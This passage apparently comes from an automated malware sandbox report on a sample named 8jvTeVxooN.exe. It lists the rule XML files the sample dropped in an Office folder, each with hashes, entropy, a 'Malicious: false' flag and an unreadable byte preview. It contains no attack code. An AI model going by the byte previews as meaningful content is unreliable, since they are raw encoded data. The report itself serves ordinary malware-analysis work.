Preview:	<?xml.....w).6."..%.<....x.>.yM....._%,...;(..Y..B'".)....X<.xZT'....t..;7.7......J.\|.K.R.f..y.$..z$......Z.....:.]G]~..q+.\-.`........f"....o@.b..!..>GV.. ......dP...._...78..u?o.~.A~ST..).`,.......B?.=..v.f.}s..:.,f.IT.....i.c.&.Fs]..Y. [ ........I...._UH%...;5K(;...;3...5p..tO.....U.......r9AN.mmTb.........Kh.....o.;...........6Hu.VaB .H.:.f.......e,L\..}.Y._..9..XR!C.iF.v'.X`...F...Kgv.u...[......xN.^.p^.IoIMQ.....W......&..C.........fh..h.V..P/.2.....`H...."w..,...{(....6....'.7b....G...ky..?.........d<........h.RD.5c......Y.....{.....lG.._.._s.........yN>...4C._.L.....x..Y......X.m.N3.<......ha....fo..\.s.E..*$..w;...p.v89.U.2.....[.Q....a...(.p..&... H.f.@m.E/8w..K.q...`..C.E.p.d.yF.Z.....\|<.n.(c#...$C.~.h.'u&R.......^..\Y..q./.E......m..$~_HZ+..........rfA.>..=X...pQ.....].=...J...9.....k.l.....'K..?.3 . ...Hcq./.Bc...U.Wf^.4.P.--......jvWR...[..0.......Y.Jp)hm..\O?.3PD.....O.Z..5....v..._K.<O..s,L..# .e.p.$.7.2.Gbv[......Ox.i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.882923748411781
Encrypted:	false
SSDEEP:	24:1mBjx1oYgCa6B6Kq+JDIy8p/V5bN6EzNsj5DQS4AONWjHike2OJ1TObD:I1oQ/bXJUV5bNsj5Du5NqCXJ1ID
MD5:	5C1EED6A36C1EC4D01BAC72B2EADC07B
SHA1:	FD0769E6C028A5D43CD37C21403C7F98F75B198D
SHA-256:	DDE87A789E83A52B3967E9620A3A90AAE5F6B9A575A8E6E3C87FB9F60323609A
SHA-512:	89FC720712D03268D9A0A8CFC7E31F94E88E39CE76407F8C02D8F1B604694169AD6BF2FE7F890444378B28021CD6EFF684B2BA6F28574DF5551036A4441CB3D4
Malicious:	false
Preview:	<?xml...P.j1...{VJH....'.i.t..Dz...REN..n.O.@.aMA+s....O...Dc.;.5..2.......io....Kw.u..?s.,.l3.nNJ..>......h....0.C!....Mu.f..Q.....K.......\..5r....)vXi._........GP.@n.....5.z..iNm....8.].J4..z.....=..9.$E..\|.$..y.P........N\.4F.[jeR:..b.4.j..q....R...9.. 2.......K.$.<.9.n....`...t...CQ..jE.%..]..O..Y0I=..<>....}....{.f.j. ...v..).\...3US.i.Q\...9.ND.......=jIH..........Fbs....?..=..MwQH..L1j....In.L..Ln.f.XLd.1t.k8Nt.oft..5m.H.`.6J..u.1v]..../..p.[f.z..5{..zp.....p...(...@#xK>.....k..gN.......pA.O.`...`4.d.1.'dJ.@N.'..zql~.I>.>.^.K...!c..f...f'....39...../G.VAc.m,.]4.!...2.....,.d...^T..l..\$.4.Y....x..o?.+..I...!...^...........Ypx.l&.n.5.........~&.2dT.TU.......Z..4.....^..X.}.W)..{z..z.E.v......'.b).P.Y..c.\|f}....x?3.]........#O........^i^.R_.. ...X{.-..(:..y9.J.=.l.L..W..;.~.Ir.........m.A.yt..H....3o.C..r.{.k..Qx.#K.....Fp..5.&....Xu...$...C...?.0f......}.....>..<._...bs...yL.,...W....,..n..}...x...$..3.A....u..rpo.V.{....oH...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.890027629572741
Encrypted:	false
SSDEEP:	24:/+ziW7AWxluU++MFbDeYCkpZ98UcrVtQYiJfR+05FL2MxkgzbURNYwGmSeq0ObD:/KiFBhycoXUYqftoMCgzbMSD
MD5:	42AA7067A5EB65843E6BCFCCBDBAF2B8
SHA1:	5E4A53A55220517D0EA9715E1452C4693AEFC50C
SHA-256:	A1C7553F48F4E6E580C0C1ECDA21CBB8DE490CE4B6879E3CEC20EC47BBD1B69E
SHA-512:	1D3D816A998133CAEA7AEC7128AC928E5A4CC3C8A243D1FF8C4E45EF99F038AB9BA2BD86ECF63AA1AD3579B97F9CA2C19041DADABA3E160A1FEA1105A0553A6C
Malicious:	false
Preview:	<?xml2........6..Zx.L...=.g...........&Y..Zk..l.dN.......g..L.......... .Q@.\p....d.."..\.p.....$.Y....O.}.SW'6.m...m.et'R.....t..:=.V....W....jr.......@d[..l ....}S..:].i.6R.y...a_!.#0.rHq.x.2;z.x.0.....w....).#v..Q........<..R.....@_.1r...f...r....+...'....!dk.l..S....:e."..."..}...u.......:Y.H".VQ.hV...>RA..Z.1..=$(N5...7.t. .m...y..w....C.<.b6th.^.u.5.c...a$......].l...T9.6....<.L...Qj.su.)..P.B...)...J.\.}C#.8.l.....K.F..d.....Yzxk+[...g....,Y.[9i..J@`.....=&..#.e...G..Y2K8'.3.....r.....J.:..M.....c...P.x=.P...M..-+. ...f..HA.z<....f.."..Ch.?'..I...C.....'.z.'.._cS.l..K"....2.x3;..3`.!..UYS.).R.Z.....-\...S..uX=...49X;a.. ...X.....`.e...&..bk..8.....+..r..F.....d.,S..M.._;bb...ak..:._\|eH..!.dU.....\|.xI"..h8......L_..k.K.OI.=Bs...^..`#\|.(I.Y.g......a..hO.....T....Q.`A...y.\|....&.?.NbF.s....V....0....l..iY...J.........f.Q...)B.3}.2.....?...lk.._.2.n.u..c".Po`?~x.;K[o.lf.y3U.e.....:.5.....@..BR.z.D.....4.....Z'.t...7X.g&..x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.864024902826331
Encrypted:	false
SSDEEP:	48:fVb/VK3ebVND0/vMROEIIWRgCr9zQJtOr8AUvDQD:fVzVVVd0/vMEIWR96kwfDM
MD5:	C1570AE029A5B8F2747178E23D7AAB70
SHA1:	151CE5FB12C07BF3F14DCA880749C74E2A7B4FDC
SHA-256:	F204961C499EB418625061D2AA39E921379F58B86DDC51458C79D9428027CEA9
SHA-512:	60506A0E19334C062556281C49A9EC732E78609930DD5A3DA14CC44706D8991B836CA25EFBFE68466963104C1AC6B5EC5257E779B4D3B12EC71D053F0000CC49
Malicious:	false
Preview:	<?xmlh.r.".S.b..>$..X-..U9.L.....ko.....q..i.>....4.?.q...r.Nz..b.#s.Q...C..R...c.W.l...z.LI..D..U...;...B.O.(.87..G9.CW.}.;3~..W....Z.1.....wP.....)....q..C{.0.d..F.Kpd..B......Gp....}.<....5..Y.g.B....p...,.p..K . .X.....Jb....Z1....s...\!.`..$\.].U.,.a....n..n....E......=.G.w-...E.0....#...b4f.^.^.7.....,.....]..`.pv..#.....<..Pk.:.l0p..BVC^...........D..{k..z.n.n..Q.U.B.......lU.j...eD.....%..........e2....nT....1..@^...p....8h5........t.z.Rm..E.?..YV$......F..t..M.E3.Q...5......=QT..[]..$....q....W.O.....\|/.....b!H..7....P,.l....&d8P:z....!..e.l.....d.m.O....[............G.k...^...T.KW%C.t..VM=.Z)..N.eB/...w.8..`Kd......I......1.P.7a..nr. ..2.3.....D...]jQ......hH.O.1.Ve@..+.x!.k.k..=Q.>....P.n.*{85N>........g..:...i+..t..i2.t...........4J..D...d........AG...x..Zj........r.M....;.....`ZmO%U....k....\...[Bm.1.n.c.o.r$....(....N..e.n-~.-...+.z..b.R..w.Mq..).-.m...>j....$N..{%@..j.b..vI&..k.x.......YIE......P.z.Ao......DI.....V..'...'?b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.887202721144211
Encrypted:	false
SSDEEP:	24:aiVa7wLIUxu5FjIzvQIejsnjUpXOFDeJf2ohqEltoxPtYxnttlMedeEwPgxPy42I:rNwIzvQI7njUAliFhhtotuBj7mYxP5ZD
MD5:	07D2E75F65344CA07B61FD16F07DAD93
SHA1:	5C6854CD05B37038FA8722840DFC92814DE611A8
SHA-256:	8979AC71E4E6BC144E212C604CA8FC9C17B5FBD7BA19B2658AFDFBAC5D8574EF
SHA-512:	38FC45CC7763D449E755FF54E44A08F862DBE9332EEA399B2B0B0C5ACB4ECDDF7EA35CD35C8CF539476813E9E674DFAF818420D9E271C8A7FB398FDACDE183CA
Malicious:	false
Preview:	<?xmlk....._..>I..F...e...V..(.....L.N_.Gh.,..n!rxZ}m...H....9_.?4....J}..N)U.x....=...Q..n.C.02....@].z..O...Z<.....k...(=.7..%.kyC4.5...[y..T......b.k`"^...I.\.....h.......w...<.kK]...h.:.....M...(k.u..,`B.@s...[..7...0.k..U_.u......`.T\.".i..r$.u\3.Y.%...l.T.~.M.n19......._...._.....l.....Q...L.5rk..]....cK...qojO..U@.....Q\|..%..J;!..i..lI)Z.4....C.Z..P+'.....-....~...m...).\K-.....o.t\.e.aB.h..<..I....8.G>..y..N.R....$.6....T.@..6....gl....z.U.Us..X....v].v..1.+!.7\|...g..R..B..~.m.v.S.t..K....R.....]X.....Oo...Q@M<..>4@...Y..G.(@.;....Be-T.3..8...k.y.3}..j.b;.ul3...D..nm...l...u..Y.Z..v1...w#.$.,..eYz.....q8[.....9`{.>y...#I_R..<$..?.\|...%..VQs.J3D^.j.?c.U.........F......\......[..x..D..6.q\|.r.; .../.,.jh......o{..xc8.F.<.....?..I.Z...T..=S......T"...........[...5}.:..{..A...".8.~....p<.g.4....u.CK.GL?c.......4.L..0.&...*......O4.e$.......YZ3...J..=.....^.\PQ....qb.........."Pg....i3Ut..f.8.....$../.m....:y...C..aJ.Z...\|tk..o.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.872875782294212
Encrypted:	false
SSDEEP:	24:KFUqCxHj4nZ1BXM1mG6QEO6pTk2aKFvcFTHrDLZCWuax7iJuF6Zugg+vbwzvcIss:gCx8nRMgGr6A2fFvcpH9XxiAyu2vmTvD
MD5:	DD00D9F7AC92DB37621F097EAFBBF3B1
SHA1:	FAF982BD11BEDAC9AC4AD19D088DB1B6B7927474
SHA-256:	F3518694387DCCC72EFBFBDDC6F4966B334571103B24E009C766FDC451871977
SHA-512:	9F28AB49F45ED51465528AA223A0561F1C19F9CFD81E6D2BB81F5C56F8E60549A639F0F002622E95B0F956FF3EAE83839C199B384AC540ED54C8255D39B95353
Malicious:	false
Preview:	<?xml..7.n.....A\|..,4..\..b...I.2./..IOe.}..\.K.{.K:$.o...n)E5./w..S._....L.]..UG..^..V9.(......(... .!..W./.:.L1.......e..B.j.."..3-..........b.......zL..#O......qz......../QKw&.qf..E....t......qV...o..._.O...]6..Y......YTo.t.j..'hE.C.%....H5.....C..o...Q.X..O6..,.........HV_.\Fo....2n........X..QJO.]..2U..^j.......A.`...;.\..J.(...{.s.Q..P._.KdE.^.>..q.2A.7.....k0E.....9.3\|....*..g.C/..O..8.V,..\3RGy+..i.U.)...?F8#.R...<n#...!R.'..~..N4D...X..p....JS6.. .oa@.H=.._......s..H..y.V.R.....(..~1....LpP{\ .m.n@......TD.F.X0...iAv...#..KDMM.6F..]..N...;.....f..%..T.H..s......a...X....8.1..=^}]..[MuIo$.y.WpJ....H.M...!.))../%q..%....E.+E..-.....U..54..1.,.?G..B{^.W....p....l..\.=Aw..1y6.jO.M...d..../(T.C..3. .Iv2!.5&....`?.e.VNj.>..!X6...x..BLV{..m.....+&.!.@.....rw.`u\|.B..'..=.?Ln...l.C.........[...'.9P.B.....C...Jk...N......F[. .=..I.9..O..?.\e1..&.....h.))z..2......8.M....FA.r....:..`a.3..\..I..3}X.....!.......0@.!.........m6..&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.890328210314143
Encrypted:	false
SSDEEP:	48:P1d2MoKbn4PRKKjZega/48EqudPociIVcSchOGXUvQqflNTH6L13D:PFvYk0ZeT/wdQ3IVUX5GNT8
MD5:	509289A435EF4C89CDD1533F40576CF2
SHA1:	FFCE5152FAADB286D9CE5E2ED757FE3A4AEE2963
SHA-256:	77DCE1FBDB875D59FDDA78C8D262B891C0EE31AC50D63F5FEC82E217F193CCD2
SHA-512:	196900EF058B574BB9948781EA22DC9A6F950D85C550ECD1E0832C093E724D0E4C9B3C09C7185089D0A7ADA38A7668DB322A438A19923A69AB247FBB21E25A3F
Malicious:	false
Preview:	<?xml.r..k-.,8...__]...g...g..T....!....I:}....U...H..4.B.]d......./w&.\Z...s..K. .H.;....C.c..+F.-..U...j{...FU...7..N\|..dI\.5%.yn..V4..+.N...U..`...i..?F%.j. @...c.-@.Jq4.P.......~.6.-....\|8.+\|...J.Z....S..2...pJ........./..TC3AkS.......']'N.O2..)X...-)l\.Cd.....rr{..=...J:F.?Q..t.s.....j~....No(lv.Nn\......5.ZhG.e...P;.......i...&.R.RV ~.k.f...5...F.qU+a...Vm..4e.>..\|]H;...u.Xh..i.F...8r.../g.!3.i.@9...i.......^8....0>.....W..Z..<......\y.'2.o.....kA<.>l# .........[M./-..r.+1x......_.f. !....U..zd.......9....>.....HyJ.h...r....O.9y"S-.J..Y..31V..&.Z.........>.Au..sQ{..k4..Q.......",..x...7.[..+5m.Q}y....`9.n.\|.L.. ..YR.JOi4....;=X....]...XP.<..-[.1.\7.;.#...\| z.3...9..5.a9....=....=T...c,....rBr..d..:3c[/..s...i\"9...h........v...E.0..q.....{...^...iQ.RS]...-.E....%...a.].hh....T............861."...).z......../.".9.y...8..i....t.v8v......@.{.:9....w..0.K4.(i9.....jl...............z.~...".`.].....>..w..GH..w...0\.I.j.?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.879879933326404
Encrypted:	false
SSDEEP:	24:OZ2xsk3Z9Ihpidog1j0TyxGKNQcAN4zGkjyH4eS0FGNPRcYObD:ODkJ80PjZEiQmteYeS+EID
MD5:	5AB6D3C2435034F4CC8A7899681AEEF7
SHA1:	5AECAF730D91887D3757BE927C18712DF2688771
SHA-256:	D2BFF09D8B0FE15E30E66D06D176C30B0C34F20852E0B21832370376E8DE18CB
SHA-512:	EB136FB6BE58A8AEAB30AFDA971909A1C825A2991AEE5607FCC49A8BF669E5661BB21B1C7AFB8113D33652EBA52BE94A25C38663C3EDC28436798C2F512B50A5
Malicious:	false
Preview:	<?xmlY.K.....F.xR.vi. ..,..[h;].T.....g..m.c.&..D.:..$...C...'l...H6q.,.$.C.R'.;..........>..P.......r.....?.....r&..4.._.Qf........X6.U.O...V(...yO..N..d.'.%.Y:.s.-....VuTQ.%..(x0...jD....rO.x.3z..j.....m-N%.....I..N.{....O}.h...p.F....(..Wj{......[.S.:.....\|.B...SH..M...^.7.F8....v.....0i..@E]+..R.Q.O.&.6.eH..-..p;9...F.Cfk..u..I{p4e.i.L.%.`ybr.E..#Xw.c..0.d..b.f..Mg.D.o$b.L3..K.=...CoH..x.....tP..l.../..H?...0.~..t..D.....Y..:.\2K....t..m....5.i.U...f.7(......7.......@f..k.F.zw..?..).h.&.5H.\......^._rSvXDE(..o^.]..pX:...>..D..,.T...Jl.7..?..r.a4'.t<i..fC...Z).....o.<.Kb......>7.a[....\|.?.0_q7.1...8.ux..MX]...@..>..N.H.0..p@.c..N...;.Y.<...Y..."...C.....B...3.z''.!(.S.R.]'..iK%JG/..E.(L^j!..W..pE.".U.N.%..A..H.-^j..(...2.Q."..1...n./s.....Rj_.@.XB...]u..t7.T..%KB#.....QQ.]...V.5..."s/x.a.....m#....[.[Z.[..C..QF.}.].......4.'..\|..ndL...T.=.p.\|...o...#ODv.T//)`......2z.F....r... .......o#....G....80.].....{l.R..vvk.....%.....E...M..4...=I..I.y.z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.902099026632259
Encrypted:	false
SSDEEP:	24:zJTNmI8CTnFUKXHDkTOIPReVthoVUinrGuSjDsYxBRQCRqqHC+MINmRHOJi1vFed:zhNr8u+6KRSOrTSj4CjKqz7NmRXvwJD
MD5:	080E9BAC54DE2DEB10FFD8A763502982
SHA1:	C861E6136955371B85545E3493765B328458200F
SHA-256:	8F9D6D112865420EF917BE6EFEEF99B5294DB318224F642B45A6DC1D4BD2C739
SHA-512:	1A0843F5E949AF210101EAD6A7208CB558F76436D60E6F2BEA1F4F3061A79972AF47E42EE13A1D1330B604B159201EE387A51F4BBED5E5606100C16871C213B1
Malicious:	false
Preview:	<?xml.S_.R.9.m..n.}.. .........4T.E...:..4.K....."...{.<2.........yQ.?.....;.E..0Y.a...\.M.f.m....v2.V2A.`.\|6._.<..[....+....h..J.pe...g..5.}m..~.....K....Y...S1Y...C.L....Z.z:...z........b1.......a.C..0..&KT...#...].tS....y9..K\.j.A...e..G..V]7%.I....0AB...;i..b.gGi..3.....I9.&m"...C..k8.X....'y:x...\|.J.........`'...f.n. .r]_=.r........-..W1FM=N<.i.../%....?..Q..~>....>A.(....?......K.xH.bo.9,]:...."......&.4......!..^.}.,...5.U..e.5.U2...nT:..&T.7...'....?.&.$b?.....}@\F..=x_.]b@}....~..zC..,..f^...6.......c_....`/3t...0....o&.....Xq.F.;..)G......r.#v...X.B..=.g.....F....,du......e..D..:. b....:m...BR.....\|ZL..J...Q<.Ek.....H..C.,.M...$.q..f..T@.....G....!.....M..M..S..>...X.&g.$.hkp..\|...."..knIl.L3.~g9a.L..q.....vvB...&s......Q...%..........].-p^.g........g..!.Y...5.y ."....c.a{dG...z.RO.]..U.T....).7.<SZ.<.^...y..mPxd.b.k..&....Lb.%.TG.\).m.rDvpR(.......g.J'....3..i..^.#4#..u..(...w.B..W....(.....)....b..g....R.`..H..uz2.g.\.$..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.892355951623124
Encrypted:	false
SSDEEP:	48:ck4EzKFKwktDwZrZaq0Y678llquBtFXonYD:ppqBktQrZFq8rvrXZ
MD5:	B5A70999F56BD7BE619ECEA758C788F6
SHA1:	FFA2B3B8F8D7C2BF75E610D413275FBAC40253CC
SHA-256:	2C06F541A23EDC8A226334B248DA78493030440F633A8761E7A298AB08469853
SHA-512:	8B827E4A08AC381514E403E6931AD6158D25FB55BC35E87644DD640DDF6414878086A1E066B87C8F9C04D82042A045DF5E12BE101930FBB93DEC564E9CB9AE70
Malicious:	false
Preview:	<?xmlZwv0.....;....EqYK.{.wD..$..u.H...q.2.........s.#..3.VnT..0.`.6?.u..]d..b^...,J.....0`..-.G...0='cT..wF.......I...P...{.w"...h..Y+hp.jj...N{...U.{..*..-P4..2.z.F.@\...5xE....Qy.^Q.Bl&O.....j}.....a!..r....njN5.>n\.8....h...7[.../0.I..T.....`&n..... .......?4....`...G.g....;..x....s..~.%..J`cr;7...w...#].d...[.........YI..].eF.."~n.J..2..2...8X.X.d...PU.....q"....z...$.5.r.....=..C....V...f..U.51U{...ro.......f.sm).....^...u..[+..s.c...;.\..i.]B...&...}.,.6....G......A.3..HJ.\..&.~..j....gn.pf...7..........)$.....Gw.......b..7.......Y..T.\|...=.u..N.?.C...z{z.~.v?....xx.E."..(..t....1UY.UM."AM.A.\.8.E........W..J...3.3...$..I...k.I..Y...\..-.k..5....O...f....:Q...m...\|....\|..dQ.....8e..T\|...$......\| .f.....P..4..?:3#......h.{p...[%w...-.f...r......{o.-%..Q.d.w.9...v..~.i..i(Y...../.....<.@...K=.%Y...PI..Aq{..}../....y,}2.i..m.{..r.v...W..\|.x({.>.#)].}........l\..iDd...A.J.........-...+.L...2...A.,R.J..1.)..h.......P.}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.881196909672378
Encrypted:	false
SSDEEP:	48:2NPyCt3hOXBJ10kdgHz8dJoNhP5QcPeT/Ykl0ecTU+PD:2NPf9cXX10kqdJGcPeTAkrcTUI
MD5:	B69E53E64EF91EF3175B940D060218A1
SHA1:	AEDC5EBFCE8AEC2C42BC47A3FC5CE70727E5EC48
SHA-256:	37D6673E8A45D7B9F45623599760C6914195DB93C578CB0CC34B2BD8B13674B1
SHA-512:	95C108E717EA49FD2E4DC2134D7C807C8DB583E49627587114EBCBBEFFF9529F8D2BB4FF7CE694AB08BF82706ECFCEAFB0D0FA4C8F1D340689368BDAA511C3A8
Malicious:	false
Preview:	<?xml......U.-3+....Lt..!?I....8A ....9....-.<...W.t.p..3A...[T.xY.+4....\.OKjW......._o..A.z....s...r.X.p....\|.N.o..O....Q+-.l8...I.."!O.M%.c.@......&.j.j~._Y.k..@...n..;.9ow.6....+.6..V$z+....!r.../..e...mN.\|.2...2.o..^.-.\|378.7..Vt.ZWT-6.Y..4...:..+.Q..Q.\.I.>..6.Rv..m..k....W........k....>......^q.IW.;....R8..&.t..5>R..Wj....>....49Nk^K...u\.x.^....!.t0....].pZ...g.^W....s.T..`.A.x..2.7.....$...WLI..':.J`8b)..qX...A...2w2U..L.z..wp..-.o?..<.d.F..P.6.VK.iD...^....Z.9$.%.............W....s0..+r(m.BB...m...t..6..........&.M....i.'{Y......S...S.7u .%...,..A..^(K9.w..u.6.z.JLrH..2.I.f.Z6.{..n+}.:.\|.q.rN.F....=...J..;^zU.....LoH..O.....C.B.L...~........6...U...a..N......K-..m......@..K.]gM$...K=.{u..a.D1.......8..u..x7..^.....-.....D...H.M..y...5..Q..4..aR...pa.PD?k...k.F'.S...Nfp...@..A.Fw......,@aXk......;9a..*[..j.:..PI~...3.$.\..(..[.P...Z....;.}C[..s.t.(..<.)...C.J...n..U9.P.i....>....Y.,M~..9J.[...d...0..z.9][$.....Q.o...i.~...9<..0<e....c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8813579220937875
Encrypted:	false
SSDEEP:	24:8lFvmWsu/cF5CKnCFSa/GIMnqyIYfSiTSQs/pcYJNp1Q4euP8gWH7VcG4RoObD:8KWsu/cFpC8PqyIYfdPWplovHRr4ND
MD5:	C8C957FFF1D1491E4FC07691C6C1CD92
SHA1:	15D982C393D098DB9DF8EB2BE1711BCB483F5DFD
SHA-256:	AA4DC05DB38C9EC1B4CEB9A17184AEFCAD179BBD50247B7EFE1478152E13BC96
SHA-512:	F6488F37B871D2D9E8E00762A67B03C7B1242626E4CA165AEC7FA718EE6FFF1A0937343BC0C0031702E020D474A8E865FB9F5C73E0EAACCE61ABC81128A6666F
Malicious:	false
Preview:	<?xml.~..........D...n..f.6.....p.`A....G..........(tv./....%..A..LE.Y!8....\V.nOy..:.T...1.c........DV... .........F....lGf..%..h.Uv]........p'U.xf.0..v......NdY..\|....~M..x......j&$P..e..T.J\|.`.....Py.X..s.$...T....7...C.z..8...k...6.v...S..6.d.@....q..V:.j..\|n..?..Bcn.R...Y.d.......N...2...]q%(c.P.n.fR.....@..c.#j.F...iN.h.n...`..{.q..k"..Z...O...8...b,."...e.j~Z.c2.@YKr.3a....[..#MJ.U;..9....=..xqw.G..$.c..6..1.d.(..5.y....b.~.........InW;.N?.m.8..v..s....?.....G...@]c.MT.V.`.........P.`W..+.. >.9...u..G..N..Dyy.. ....1...s...om.Zg...~...M4e...2N....U.....'.y...W...yd\...k...461{.ob..F...e..o....e,=Gg. .....P...z)....?.\|ZU/....U...}G.a.2......>9pd.T%.....$k.b....yz...e..g..... 9E.......).._....2..H7O.n,}=.2).. ..4.:....G..1q.......~........4....cr.o.=....jP..f-b.!...a.Y%. .i..R:0..L;.@....my..b.\|...lt....?b_.9:@..)..HTB.{.M....+........8.:.).0..d...y....Q....m...:.7.\o>.3.!R......D.4.j...yH.. .V.......@..%.@..a.O.1j.1.+..h.H..2R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.895609931523219
Encrypted:	false
SSDEEP:	48:msNSVtkN78NNUOqFbXQtDjb8ga/Xyp1gL2unD:lSVtycnqFkjnhpu26
MD5:	566B256F827AA5BD95F7B626E1DE3560
SHA1:	5CEC9FDD17FB8E2B4E0415195A28F904769E5315
SHA-256:	FE978F6E172314B1F20980853994CD691FFADFAD906F09BCB92F3F13BE314D68
SHA-512:	216521E480E074FF0FA29B99E532340E2B95EDFDC952B1FB8D13925C2CB6D132F3CF92B4EF5E1E247BE14812F08EE9CB67CAA4DCD6DB1D2D712C05092CC752FE
Malicious:	false
Preview:	<?xml:.....nr.........1...J......h..0...~.G.S....A..]...&.4..hp.W\.....L.)C.7<@..q.Z....[>.)..c.!...._..cj.Bt.e....v..yv........!S.U.\.@..x...e..}.;...)..fA}3XL.....3#.v..5]...lp1..v[.$7...f......0.m.2..+..U......\|..Ru.O&t..9"w7.[..@dU....W..fX.4.L,1.g.51.g.2._DF.......'..0:c.Z.=..K.nw...G.H...5&..M.V].cb.....%.n....VH4H..9..2..y....s../......`.$s.X..jL....Vu..._I3Z7.?..A...x......1....p.A.]....`.#`.%.AUE..:....HxoU.<.'kT...9f.s.A.....sP..;qN....{m....H..8...^U..%..i..NyX..{sE...Ly.....1...=...c=.&....Q......U.IGB...P..Nf...H.y...m..N..p....r.F.. .\|.y/...l.CA........;..Y-.Bw2Y....\|..b..~.Q.....n...>.lad.T..h...X ....TO.T3.H'.ZC........'...g../..C>....w#X...I+a!.....N.b.Y.4`.L.3....m....#.ia...1.G~.).4..n...9....fw.............o....G.d.....V./...j.p(U.Y..K....$...Vk.+...y.f3..z..I...wr....2..51.]..X.u..N..=.eKO..U0.<....... ....Z....ph.M.t.z.-n..S.5..J.>.uE..$8..;D.E,...h.W.5...U&H..R.3.H.N.3.6....rs...l..o.v.....f......j.5Q-.%.,".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.877443075207361
Encrypted:	false
SSDEEP:	48:ggMvs6vtMkZxS+XLsPkk+ODvfDmLNinpAD:b0DVMkPXLm+Okona
MD5:	2BCD53707224D11B94E899DA1A7D7543
SHA1:	8EDBBE52EBD4F7EA1F8BF3E803FE691E18E2BC0A
SHA-256:	9ADEF910EC0CCDF6966AE95CA6FCED979763CADA18E06E7D136D6AC9E97AB05F
SHA-512:	5C29BC11270B2598C2B6A0E10AA2417F5C01877D00BA0348107667EC2A4B01516C9D7EFFC86886703738480C3EC996344F03FD3747EDCA22CAA2C146E32E7BE6
Malicious:	false
Preview:	<?xml..b...]..A......Y...#....Mt.Q.4..1...t0.C...0....dp...$L.\|r..N....'.o.....J....+...U."........9)....q...A.$z....,..%3.......v.q_79.;.~g...o..]..y.....r....Z.W..W.....^/.+. ..D.%.X.D`Q.8..j\K........\....!..7<...h.$I..;P..9;.x..Y....(..R...rj.Y%.._x..f.....{.g.n..p.S..&....e...+...h.^..rK.c+..2.a........T.......\)....&....qO...M.7.v-.<?{...s..D.g5b.N.b....i..........0.@H.}{..&..?..7...t.-1a..........P..P.........}..R..~...4..t.....m+..J,\x....E.......IG"..S.2!3.(...?P.L.Z.......G`v..H.jy...v3.U..`..Jq....D7.:3_R.....;.....3...5W....&...........2K@#...C..n).......X.NHrN...."..D..O...`..d,. .')M.x..vbkYH.t..K.7.bvs.N...ky....M..{.!&Z......U:.'V..p.(.....@9>.R.m.M\|.\=It.f,q..BB.C...f[1c6B.........R.i#...;Y..W......7..H.stR./.e....Z...p.....0..._..Q......Y./3...W7...;.ch.b2..&...aq...>..........X.....l..e.l..!..l......B .%S.7m+..;.'.-9rO..1G..d..n.H"...x......9........@I...k..VR1kU.m....`.?... .}[.c.JdK..X.D......../q.5..6..w.V.*y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.8884509950251305
Encrypted:	false
SSDEEP:	48:jgY01M71VDtlhVdfaC/h6tVGBlvmgmUHAvjK7D:I1MTtlzdf//6VBg7HIc
MD5:	DFED14B451D1706BDCF87E43E863C848
SHA1:	BBE859DA156762E3F49C4F914DBA5A87D5E69FB9
SHA-256:	C5C202A2102F8E07C237E9D736A6E084909C99F989B47A0C9AFEF6F11D72939C
